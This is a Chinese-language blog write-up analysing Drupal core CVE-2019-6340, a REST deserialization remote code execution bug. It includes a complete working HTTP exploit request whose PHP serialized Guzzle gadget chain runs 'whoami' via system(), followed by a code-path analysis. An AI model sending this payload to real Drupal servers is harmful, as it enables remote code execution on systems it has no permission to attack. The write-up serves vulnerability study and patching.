Drupal Core RESTful RCE (CVE-2019-6340)

栏目: 编程工具 · 发布时间: 5年前

内容简介:近日,Drupal官方更新了一个非常关键的安全补丁,修复了因为接受的反序列化数据过滤不够严格,在开启RESTful Web Services拓展模块的情况下,可能导致PHP代码执行的严重安全。

Drupal Core RESTful RCE (CVE-2019-6340)

近日,Drupal官方更新了一个非常关键的安全补丁,修复了因为接受的反序列化数据过滤不够严格,在开启RESTful Web Services拓展模块的情况下,可能导致 PHP 代码执行的严重安全。

Drupal Core RESTful RCE (CVE-2019-6340)

漏洞条件

根据官方公告和自身实践,8.6.X(<8.6.10)两种情况可能导致问题出现:

  • RESTful Web Services 拓展开启,并且启用了REST resources(默认配置即可),不需要区分GET,POST等方法即可完成攻击。

  • JSON:API服务模块开启,此服务尚未分析。

攻击步骤

这里使用drupal-8.6.5作为测试版本,搭建REST服务进行漏洞分析

配置RESTful服务

在拓展中安装RESTful对应的WEB服务

Drupal Core RESTful RCE (CVE-2019-6340)

RESTful服务开启后,对于REST resources的设置比较麻烦,安装REST UI拓展进行图形化的管理,方便查看(不安装也是可以的)。

RESTful服务开启后,其中/node/{node}这个REST resources是默认配置中就启用的,可以通过REST UI查看,发现确实如此,默认配置即可被攻击者利用。

Drupal Core RESTful RCE (CVE-2019-6340)

攻击验证

发送包含whoami系统验证指令的攻击数据包

GET /drupal/node/1?_format=json HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/hal+json
Connection: close
Content-Length: 637
{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:6:\"whoami\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "http://127.0.0.1/drupal/rest/type/shortcut/default"
    }
  }
}

Drupal Core RESTful RCE (CVE-2019-6340)

漏洞分析

官方公告中(现已修正)一开始仅仅说开启POST/PATCH两种请求方式才会收到攻击,其实并不区分类型,上图就是GET请求的攻击,因为程序在进入在对请求进行deserialize的时候,是还是通过php://input进行获取请求内容。

Drupal Core RESTful RCE (CVE-2019-6340)

跟进$request->getContent

Drupal Core RESTful RCE (CVE-2019-6340)

获得请求内容后,使用$this->serializer->decode对请求内容进行解码并赋值$unserialized。

Drupal Core RESTful RCE (CVE-2019-6340)

然后传入$this->serializer->denormalize函数,Drupal 8的Serialization API是主要基于Symfony Serializer组件,具体可参加文档。

Drupal Core RESTful RCE (CVE-2019-6340)

一路跟进直到getTypeInternalIds函数,检查url是否是网站已知的类型。

Drupal Core RESTful RCE (CVE-2019-6340)

继续跟进,真正的判断在这个位置,函数栈如下:

继续跟进,将结果变量$typed_data_ids['entity_type']传入getEntityTypeDefinition函数,取实体的定义类型。

Drupal Core RESTful RCE (CVE-2019-6340)

继续跟进,此时$context['target_instance']中包含Drupal\Core\Field\FieldItemList的实例。

Drupal Core RESTful RCE (CVE-2019-6340)

继续跟进,经过$items->appendItem()后,$context['target_instance']被重新赋值,此时包含Drupal\link\Plugin\Field\FieldType\LinkItem的实例。

Drupal Core RESTful RCE (CVE-2019-6340)

继续跟进,将$context['target_instance']中的实例赋值给$field_item,然后调用$field_item->setValue方法,并传入了$data。

Drupal Core RESTful RCE (CVE-2019-6340)

data的值如下:

Drupal Core RESTful RCE (CVE-2019-6340)

继续跟进setValue函数,这里的$values['options']可控,找到反序列化漏洞的触发点。

Drupal Core RESTful RCE (CVE-2019-6340)

利用Drupal自带的Guzzle库,FnStream类的析构函数中包含call_user_func,进行利用链的构造。

Drupal Core RESTful RCE (CVE-2019-6340)


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

UNIX编程艺术

UNIX编程艺术

[美] Eric S. Raymond / 姜宏、何源、蔡晓骏 / 电子工业出版社 / 2012-8 / 99.00元

《UNIX编程艺术》主要介绍了Unix系统领域中的设计和开发哲学、思想文化体系、原则与经验,由公认的Unix编程大师、开源运动领袖人物之一Eric S.Raymond倾力多年写作而成。包括Unix设计者在内的多位领域专家也为《UNIX编程艺术》贡献了宝贵的内容。《UNIX编程艺术》内容涉及社群文化、软件开发设计与实现,覆盖面广、内容深邃,完全展现了作者极其深厚的经验积累和领域智慧。一起来看看 《UNIX编程艺术》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

SHA 加密
SHA 加密

SHA 加密工具